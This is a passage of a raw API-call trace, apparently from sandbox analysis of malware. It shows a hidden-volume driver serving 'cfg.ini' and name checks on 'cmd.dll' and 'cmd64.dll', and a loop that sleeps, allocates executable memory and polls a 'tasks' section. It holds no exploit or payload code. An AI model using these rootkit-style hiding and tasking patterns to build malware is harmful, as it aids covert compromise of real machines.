ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.893] KeLeaveCriticalRegion () [0117.893] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.893] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.893] KeEnterCriticalRegion () [0117.893] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.893] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0117.893] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.893] KeLeaveCriticalRegion () [0117.893] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.893] KeEnterCriticalRegion () [0117.893] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.893] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.893] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.893] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.893] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0117.893] IdePortDispatch () returned 0x103 [0117.893] KeWaitForMutexObject () returned 0x0 [0117.895] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.895] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.895] KeLeaveCriticalRegion () [0117.895] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.895] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.895] KeEnterCriticalRegion () [0117.895] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.895] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003420000 [0117.895] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.895] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0117.895] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.895] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.895] IdePortDispatch () returned 0x103 [0117.895] KeWaitForMutexObject () returned 0x0 [0117.896] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.896] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.896] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0117.896] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.896] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.896] IdePortDispatch () returned 0x103 [0117.896] KeWaitForMutexObject () returned 0x0 [0117.896] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.896] KeLeaveCriticalRegion () [0117.896] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.897] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.897] KeEnterCriticalRegion () [0117.897] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.897] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0117.897] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.897] KeLeaveCriticalRegion () [0117.897] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.897] KeEnterCriticalRegion () [0117.897] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.897] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0117.897] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa64b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.897] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.897] KeLeaveCriticalRegion () [0117.897] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.897] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.897] KeEnterCriticalRegion () [0117.897] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.897] ExFreePoolWithTag (P=0xfffffa8003aa6940, Tag=0x0) [0117.897] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.897] KeLeaveCriticalRegion () [0117.897] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.897] ReleaseMutex (hMutex=0xf0) returned 1 [0117.897] Sleep (dwMilliseconds=0x927c0) [0117.905] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0117.905] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.909] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0117.909] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.909] KeEnterCriticalRegion () [0117.909] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.909] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.909] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.909] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.909] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0117.910] IdePortDispatch () returned 0x103 [0117.910] KeWaitForMutexObject () returned 0x0 [0117.910] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.910] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.910] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.910] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.910] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.910] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80036b5c50 [0117.910] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.910] KeLeaveCriticalRegion () [0117.910] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.910] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.910] KeEnterCriticalRegion () [0117.910] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.910] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0117.910] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.910] KeLeaveCriticalRegion () [0117.910] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.910] KeEnterCriticalRegion () [0117.910] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.910] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.910] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.910] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.910] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0117.910] IdePortDispatch () returned 0x103 [0117.911] KeWaitForMutexObject () returned 0x0 [0117.911] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.911] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.911] KeLeaveCriticalRegion () [0117.911] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.911] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.911] KeEnterCriticalRegion () [0117.911] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.911] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003471000 [0117.911] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.911] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0117.911] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.911] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.911] IdePortDispatch () returned 0x103 [0117.911] KeWaitForMutexObject () returned 0x0 [0117.911] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.912] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.912] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0117.912] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.912] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.912] IdePortDispatch () returned 0x103 [0117.912] KeWaitForMutexObject () returned 0x0 [0117.912] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.912] KeLeaveCriticalRegion () [0117.912] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.913] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.913] KeEnterCriticalRegion () [0117.913] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.913] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0117.913] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.913] KeLeaveCriticalRegion () [0117.913] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.913] KeEnterCriticalRegion () [0117.913] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.913] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0117.913] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.913] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.913] KeLeaveCriticalRegion () [0117.913] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.913] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.913] KeEnterCriticalRegion () [0117.913] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.913] ExFreePoolWithTag (P=0xfffffa80036b5c50, Tag=0x0) [0117.913] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.913] KeLeaveCriticalRegion () [0117.913] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.913] ReleaseMutex (hMutex=0xf0) returned 1 [0117.914] Sleep (dwMilliseconds=0x927c0) [0117.928] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0117.928] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.928] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0117.928] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.928] KeEnterCriticalRegion () [0117.928] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.928] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.928] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.928] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.928] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0117.928] IdePortDispatch () returned 0x103 [0117.929] KeWaitForMutexObject () returned 0x0 [0117.929] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.929] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.929] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.929] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.929] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.929] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d1970 [0117.929] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.929] KeLeaveCriticalRegion () [0117.929] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.929] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.929] KeEnterCriticalRegion () [0117.929] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.929] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0117.929] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.929] KeLeaveCriticalRegion () [0117.929] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.929] KeEnterCriticalRegion () [0117.929] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.929] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.929] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.929] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.929] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0117.929] IdePortDispatch () returned 0x103 [0117.930] KeWaitForMutexObject () returned 0x0 [0117.930] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.930] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.930] KeLeaveCriticalRegion () [0117.930] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.930] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.930] KeEnterCriticalRegion () [0117.930] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.930] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003475000 [0117.930] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.930] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0117.930] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.930] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.930] IdePortDispatch () returned 0x103 [0117.931] KeWaitForMutexObject () returned 0x0 [0117.931] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.931] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.931] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0117.931] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.931] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.931] IdePortDispatch () returned 0x103 [0117.931] KeWaitForMutexObject () returned 0x0 [0117.931] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.931] KeLeaveCriticalRegion () [0117.931] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.932] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.932] KeEnterCriticalRegion () [0117.932] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.932] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0117.932] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.932] KeLeaveCriticalRegion () [0117.932] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.932] KeEnterCriticalRegion () [0117.932] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.932] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0117.932] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa64b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.932] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.932] KeLeaveCriticalRegion () [0117.932] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.932] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.932] KeEnterCriticalRegion () [0117.932] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.932] ExFreePoolWithTag (P=0xfffffa80039d1970, Tag=0x0) [0117.932] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.932] KeLeaveCriticalRegion () [0117.932] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.932] ReleaseMutex (hMutex=0xf0) returned 1 [0117.932] Sleep (dwMilliseconds=0x927c0) [0117.951] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0117.951] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.952] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0117.952] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.952] KeEnterCriticalRegion () [0117.952] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.952] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.952] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.952] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.952] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0117.952] IdePortDispatch () returned 0x103 [0117.952] KeWaitForMutexObject () returned 0x0 [0117.952] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.952] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.952] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.952] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.952] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.952] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003afaf60 [0117.952] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.952] KeLeaveCriticalRegion () [0117.952] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.952] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.952] KeEnterCriticalRegion () [0117.952] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.952] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0117.952] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.953] KeLeaveCriticalRegion () [0117.953] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.953] KeEnterCriticalRegion () [0117.953] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.953] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.953] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.953] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.953] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0117.953] IdePortDispatch () returned 0x103 [0117.953] KeWaitForMutexObject () returned 0x0 [0117.953] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.953] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.953] KeLeaveCriticalRegion () [0117.953] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.953] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.953] KeEnterCriticalRegion () [0117.953] ExAcquireFastMutexUnsafe (in: 